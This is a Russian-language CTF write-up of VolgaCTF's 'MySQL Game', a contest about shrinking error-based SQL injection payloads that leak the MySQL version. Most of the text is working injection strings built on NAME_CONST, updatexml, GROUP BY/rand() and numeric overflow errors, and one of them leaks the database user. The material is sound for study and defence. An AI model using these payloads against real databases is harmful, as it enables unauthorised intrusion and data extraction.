MySQL Game
Для того, чтобы немного разнообразить жизнь участников VolgaCTF было подготовлено несколько конкурсов, один из которых был MySQL Game.
Участникам давалась MySQL инъекция вида:
Код:
SELECT id FROM test.news WHERE id = '[inj]'
Необходимо было проэксплуатировать Error-Based инъекцию и вывести версию MySQL максимальным количеством векторов (различный ErrNo) используя минимальное количество символов.
Количество очков подсчитывается следующим образом:
Код:
Score = SUM(129 - StrLen(Xn))
В качестве примера был дан следующий вектор
Код:
' UnIoN AlL SeLeCt CoUnT(`TeXt`) FrOm `test`.`news` WhErE `Id` = 1 Or 1 = 1 GrOuP By CoNcAt(VeRsIoN(), FlOoR(RaNd(1337) * 2)), '
Система проверяла, что выполнение запроса вызвало ошибку и в тексте ошибки присутствуют первые 10 символов MySQL версии. Также проверялось, что в самом векторе версия в виде строки не использовалась, чтобы избежать читерства вида
Код:
'=`version5.5.25`='
ERROR 1054 (42S22): Unknown column 'version5.5.25' in 'where clause'
(Обмануть эту проверку все же удалось одному из участников)
В рамках VolgaCTF победителем стал
@tomvangoethem
================================================== ==
Если вы заинтересовались данным конкурсом, то вы можете не читать дальнейшее прохождение, а попробовать сами улучшить результаты!
http://blackfan.ru/mysql_game/ (уже выключен, на странице результаты)
================================================== ==
Погуглив по теме MySQL Error-Based участники могли найти следующие вектора, которые им и пришлось минимизировать:
Код:
'|(select!x-~0.FROM(select+version()x)f)#
'|ExtractValue(1,concat(0x5c,version()))#
'|(select*from(select name_const(version(),1),name_const(version(),1))a)#
'||1 group by concat(version(),floor(rand(0)*2))having min(0)#
NAME_CONST
Ошибка вызывается в результате обработки подзапроса, у которого несколько полей имеют одинаковый алиас.
Код:
'|(select*from(select name_const(version(),1),name_const(version(),1))a)#
Максимальная длина полезных данных 192 символа.
Минусы:
- Длина вектора
- MySQL >= 5.0
- Подзапросы можно использовать как аргумент name_const лишь на некоторых версиях MySQL, на остальных аргументы должны быть константами (что полностью убивает вектор)
Плюсы:
- Максимальная длина полезных данных
Уменьшить вектор никому не удалось
EXTRACTVALUE
Ошибка вызывается в результате нарушения синтаксиса XPath запроса.
Код:
'|ExtractValue(1,concat(0x5c,version()))#
Максимальная длина полезных данных 31 символ.
Минусы:
- MySQL >= 5.1
- Максимальная длина полезных данных
Плюсы:
Минимизация:
Замена функции на updatexml
Код:
'|ExtractValue(1,concat(0x5c,version()))#
'|updatexml(1,concat(0x5c,version()),1)#
Для нарушения синтаксиса XPath можно использовать любые другие управляющие символы
Код:
'|updatexml(1,concat(0x5c,version()),1)#
'|updatexml(1,concat(0xa,version()),1)#
Так как без использования concat версия выводит ошибку, то можно просто повторить ее 2 раза
Код:
'|updatexml(1,concat(0xa,version()),1)#
'|updatexml(1,repeat(version(),2),1)#
ERROR 1105 (HY000): XPATH syntax error: '.255.5.25'
GROUP BY
Подробнее про вектор можно прочитать
тут и
тут.
Код:
'||1 group by concat(version(),floor(rand(0)*2))having min(0)#
Максимальная длина полезных данных 64 символа.
До недавних пор наиболее популярный error-based вектор, однако
вот эта тема может с этим поспорить.
Минусы:
- Максимальная длина полезных данных
Плюсы:
- Можно вызвать ошибку на любой версии MySQL (но это не отменяет ограничение самих версий на подзапросы и т.п.)
Минимизация:
Замена длинной конструкции floor(rand(0)*2) на пользовательские переменные
Код:
'||1 group by concat(version(),floor(rand(0)*2))having min(0)#
'||(@:=1) group by concat(version(),@:=!@)having min(0)#
Необязательность скобок при объявлении переменных
Код:
'||(@:=1) group by concat(version(),@:=!@)having min(0)#
'||@:=1 group by concat(version(),@:=!@)having min(0)#
Использование конструкции 'a'='b'=0 вместо or 1 для получения true в where
Код:
'||@:=1 group by concat(version(),@:=!@)having min(0)#
'=@:=0 group by concat(version(),@:=!@)having min(0)#
Замена concat на что-либо другое более короткое
Код:
'=@:=0 group by concat(version(),@:=!@)having min(0)#
'!=@:=1 group by elt(@:=!@,version())having min(0)#
или
'!=@:=1 group by mid(version(),@:=!@)having min(0)#
И тут внезапный поворот - возвращение к rand().
Так как при передаче его в аргумент функции приведение к целочисленному числу будет сделано за нас.
Код:
'!=@:=1 group by elt(@:=!@,version())having min(0)#
'=0 group by elt(rand(0),version())having min(0)#
Жертвуем стабильностью вызова ошибки и убираем seed у rand
Код:
'=0 group by elt(rand(0),version())having min(0)#
'=0 group by elt(rand(),version())having min(0)#
OUT OF RANGE
Подробнее про него можно прочитать
тут.
Код:
'|(select!x-~0.FROM(select+version()x)f)#
Максимальная длина полезных данных 475 символов.
Минусы:
- MySQL >= 5.? (не уверен с какой версии можно эксплуатировать)
Плюсы:
- Максимальная длина полезных данных
- Длина вектора
- Выводится частично выполненный запрос, что увеличивает варианты использования
Минимизация:
В теме о данном векторе уже заходил разговор о короткой версии, что несколько облегчило задачу участников.
Отказываемся от передачи значения через алиасы, используем гибкий синтаксис MySQL, играемся с вызовом ошибки.
(В этих векторах мы теряем максимальную длину полезных данных, но это не было нашей целью)
Код:
'|(select!x-~0.FROM(select+version()x)f)#
'|!(select*from(select@@version)x)-~0#
'+2*~(select*from(select@@version)x)#
Тут так и напрашивается следующее уменьшение количество символов
Код:
2'*~(select*from(select@@version)x)#
Но это не сработает, так как
Код:
select '2'*~0;
3.6893488147419103e19
select 2*~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * ~(0))'
В первом случае результат DOUBLE, а во втором BIGINT UNSIGNED.
Самый короткий вектор, отправленный в процессе конкурса:
Код:
'--~(select*from(select@@version)f)#
И еще несколько не самых коротких векторов, но заслуживающих внимания:
При парсинге строки как числа MySQL поддерживает экспоненциальную запись
Код:
1e308'*(select*from(select@@version)x)#
Вызов функции cot(0) возвращает ошибку "DOUBLE value is out of range"
Для вывода строки начинающейся с числа
Код:
'|cot(!(select*from(select@@version)x))#
Для вывода строки начинающейся с буквы
Код:
'|cot((select*from(select+user())x))#